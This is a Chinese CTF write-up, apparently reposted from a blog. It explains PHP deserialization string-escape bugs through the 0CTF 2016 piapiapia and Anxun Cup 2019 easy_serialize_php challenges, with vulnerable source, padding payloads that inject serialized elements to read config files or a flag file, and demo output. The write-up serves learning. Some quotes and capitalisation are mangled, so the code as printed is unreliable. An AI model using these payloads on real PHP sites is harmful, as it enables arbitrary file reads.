- 通过
CTF
比赛了解PHP
反序列化,记录自己的学习。
借用哈大佬们的名言
- 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。
- 0CTF 2016piapiapia-----反序列化后长度递增
- 安询杯2019-easy_serialize_PHP-----反序列化后长度递减
0CTF 2016piapiapia
class.PHP //主要有MysqL类(MysqL基本操作)和user类(继承MysqL实现功能点) config.PHP //环境配置 index.PHP //登陆 profile.PHP //查看自己上传的文件 register.PHP //注册 update.PHP //文件上传
源码分析
- 然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看
sql
咯,发现class.PHP
中MysqL
类的filter过滤函数,过滤了增删查改,基本无望. - 后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在
profile.PHP
中发现对上传的文件进行反序列化处理,并对文件$profile['photo']
进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);
,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter
函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞
payload构造
- 我们知道,PHP反序列化时以
;
作为分隔点,}
做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']
但是可以控制nickname
,而nickname
又进行了长度限制,strlen
函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的;}
是为了闭合前面数组nickname
的{
,后面的;}
是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.
;}s:5:photo;s:10:config.PHP;}
这时构造了payload
,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where
变成hacker
会增加一个长度,那么我们就需要34个where
,最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.PHP;}
原理解析
<?PHP function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile = array( 'phone'=>'01234567890', 'email'=>'[email protected]', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.PHP;}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
输出结果展示,最开始不用进过filter
函数反序列化时,nickname
数组的第一个值没被截断是一个整体
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.PHP;}
,刚好204个长度,经过filter过滤函数后,where
变成了hacker
,反序列化的长度变化了,但是又只读取204的长度,则s:5:photo;s:10:config.PHP;};}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}
又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.
a:4:{s:5:phone;s:11:01234567890;s:5:email;s:15:[email protected];s:8:nickname;a:1:{i:0;s:204:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.PHP;};}s:5:photo;s:39:upload/f3ccdd27d2000e3f9255a7e3e2c48800;} a:4:{s:5:phone;s:11:01234567890;s:5:email;s:15:[email protected];s:8:nickname;a:1:{i:0;s:204:hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker;}s:5:photo;s:10:config.PHP;};}s:5:photo;s:39:upload/f3ccdd27d2000e3f9255a7e3e2c48800;} array(4) { 'phone' => string(11) 01234567890 'email' => string(15) [email protected] 'nickname' => array(1) { [0] => string(204) hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker } 'photo' => string(10) config.PHP }
安询杯2019-easy_serialize_PHP
源码
<?PHP $function = @$_GET['f']; function filter($img){ $filter_arr = array('PHP','flag','PHP5','PHP4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION[user] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href=index.PHP?f=highlight_file>source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.PHP'); }else if($function == 'PHPinfo'){ eval('PHPinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
分析
- 源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:
extract
变量覆盖,file_get_contents
任意文件读取. - 将变量
$userinfo['img']
逆推回去发现,是由参数img_path
控制的,但是经过sha1
加密,我们无法得知加密后内容,但结合前面的extract
变量覆盖,我们可以自己POST构造. - 构造了之后,会经过序列化
filter
函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.
payload构造
- 我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是
img
,user
,function
,而我们能控制的只有后面两个,我们需要构造的payload是这样的
f;s:3:img;s:20:ZdbnM19mMWFnLnBocA==;s:3:tql;s:3:tql;}
- 但是不经任何改变则是这样的
a:3:{s:4:user;s:5:guest;s:8:function;s:10:show_image;s:3:img;s:40:1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5;}
- 我还是利用截断的思想不让其读取元素
img
的值,我们自己来构造这个值,只有两个参数,必须在function
哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user
元素吧,len(';s:8:function;s:10:'
)的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag
就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img
进行截断
a:3:{s:4:user;s:24:;s:8:function;s:10:show_image;s:3:img;s:40:1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5;} a:3:{s:4:user;s:24:;s:8:function;s:2:22;s:3:img;s:40:1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5;}
- 截断只需
}
即可,并且不为读取的字符即可,因此添加f;s:3:img;s:20:ZdbnM19mMWFnLnBocA==;s:3:tql;s:3:tql;}
,这里我们新增了一个元素,因此吞噬后function
元素消失了,随便补充好元素即可.
原理解析
<?PHP function filter($img){ $filter_arr = array('PHP','flag','PHP5','PHP4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( user=>flagflagflagflagflagflag, function=>'2;s:3:img;s:20:ZdbnM19mMWFnLnBocA==;s:3:tql;s:3:tql;}', //user=>'guest', //function=>'show_image', img=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
- 输出展示
a:3:{s:4:user;s:24:flagflagflagflagflagflag;s:8:function;s:62:2;s:3:img;s:20:ZdbnM19mMWFnLnBocA==;s:3:tql;s:3:tql;};s:3:img;s:40:1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5;} a:3:{s:4:user;s:24:;s:8:function;s:62:2;s:3:img;s:20:ZdbnM19mMWFnLnBocA==;s:3:tql;s:3:tql;};s:3:img;s:40:1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5;} Array ( [user] => ;s:8:function;s:62:2 [img] => ZdbnM19mMWFnLnBocA== [tql] => tql )
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。